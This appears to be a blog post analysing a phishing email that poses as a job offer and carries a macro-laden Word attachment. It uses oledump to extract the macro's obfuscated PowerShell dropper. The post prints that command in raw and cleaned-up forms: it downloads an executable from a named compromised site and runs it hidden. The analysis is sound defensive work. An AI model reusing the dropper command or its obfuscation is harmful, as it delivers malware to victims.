On 2017-01-27, I received a suspicious email on an address I no longer use.

EDIT: I received two more emails with the same file, only the message was different. Is it a recent ongoing spam campaign?

Hello,

My name is Adam Buchbinder, I saw your GitHub repo and i’m pretty amazed. The point is that i have an open position in my company and looks like you are a good fit.

Please take a look into attachment to find details about company and job. Dont hesitate to contact me directly via email highlighted in the document below.

Thanks and regards, Adam.

Gmail refused to synchronise this email, saying it contained “a virus or a suspicious attached file”. Indeed, opening the attached .doc file on my phone, I only saw a yellow screen telling me to “Enable macros to see this document”. Highly suspicous!

According to VirusTotal, only 4/54 AVs detected this file as a threat.

VirusTotal analysis

I transfered the file to my computer to analyse it using Didier Stevens’s fantastic oledump.py. First of all, I wanted to see what the malicious code looked like. This is easily done by checking which streams contain executable VBA code:

./oledump.py 2701.doc

1:       114 '\x01CompObj'
2:      4096 '\x05DocumentSummaryInformation'
3:      4096 '\x05SummaryInformation'
4:     11555 '1Table'
5:       367 'Macros/PROJECT'
6:        41 'Macros/PROJECTwm'
7: M   84985 'Macros/VBA/ThisDocument'
8:     16765 'Macros/VBA/_VBA_PROJECT'
9:       517 'Macros/VBA/dir'
10:       216 'MsoDataStore/\xc3\x90O\xc3\x904\xc3\x91\xc3\x9f\xc3\x84\xc3\x80\xc3\x84\xc3\x840\xc3\x9fLKL\xc3\x95CGFI\xc3\x89A==/Item'
11:       341 'MsoDataStore/\xc3\x90O\xc3\x904\xc3\x91\xc3\x9f\xc3\x84\xc3\x80\xc3\x84\xc3\x840\xc3\x9fLKL\xc3\x95CGFI\xc3\x89A==/Properties'
12:     15974 'WordDocument'

We can see that stream number 7 contains VBA code, so we’ll extract it using the -s and -v switches.

./oledump.py 2701.doc -s 7 -v

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function ytesobpu()
ytesobpu = "oswoqhy"

...snipping about 2000 lines...

yvluxju = "24940"
urucahinc = "99405"
tniwfi = "yjunyk"
bcukifx = "75236"
mfihmuwz = "12310"
ymuba = tniwfi + bcukifx & "10481" + egebi & mfihmuwz
 
End If

End Sub

Okay, if you want to sniff through it go ahead, but I’m no doing it. oledump has a nice option to try and extract any HTTP calls in an OLE document, so we’ll just use that.

./oledump.py 2701.doc -p plugin_http_heuristics

1:       114 '\x01CompObj'
2:      4096 '\x05DocumentSummaryInformation'
3:      4096 '\x05SummaryInformation'
4:     11555 '1Table'
5:       367 'Macros/PROJECT'
6:        41 'Macros/PROJECTwm'
7: M   84985 'Macros/VBA/ThisDocument'
           Plugin: HTTP Heuristics plugin 
             "CMD.exe /C poWe^RsH^E^lL.EX^e     ^-eXE^CUT^I^o^n^Po^LI^Cy byp^As^s^    ^-N^Opr^O^Fi^l^e -^winDowST^yLE^    h^IDden   ^(n^e^W-O^bje^CT^    s^ySte^M^.^NET.W^Eb^cLi^En^T^)^.^dOW^Nl^oa^d^FI^lE('http://nicklovegrove.co.uk/wp-content/margin2601_onechat_word.exe','%APPdAta%.Exe');s^TArT-pRO^C^Es^S '%APpdaTa%.ExE'"
8:     16765 'Macros/VBA/_VBA_PROJECT'
9:       517 'Macros/VBA/dir'
10:       216 'MsoDataStore/\xc3\x90O\xc3\x904\xc3\x91\xc3\x9f\xc3\x84\xc3\x80\xc3\x84\xc3\x840\xc3\x9fLKL\xc3\x95CGFI\xc3\x89A==/Item'
11:       341 'MsoDataStore/\xc3\x90O\xc3\x904\xc3\x91\xc3\x9f\xc3\x84\xc3\x80\xc3\x84\xc3\x840\xc3\x9fLKL\xc3\x95CGFI\xc3\x89A==/Properties'
12:     15974 'WordDocument'

By cleaning up the command, here’s what we can see:

 cmd.exe /C powershell.exe 
 -executionPolicy bypass 
 -noProfile 
 -windowStyle hidden 
 (newObject System.NET.WebClient)
     .downloadFile('http://nicklovegrove.co.uk/wp-content/margin2601_onechat_word.exe', 
	               '%APPDATA%.exe'); 
 start-process '%APPDATA%.exe'

Looks like the macro tries to download a file at http://nicklovegrove.co.uk , probably a hacked WordPress site (seriously, update your WordPress!).

This file margin2601_onechat_word.exe gets a score of 6/54 on VirusTotal.

VirusTotal's result on the EXE file

Analysing it on Hybrid-Analysis shows that the virus drops a malicious DLL file (bckedip.dll) on the target machine (the file is detected as a trojan). It also does POST requests to onechat.pw.

Here’s a link to the analysis

Further analysis on a Virtual Machine could be interesting.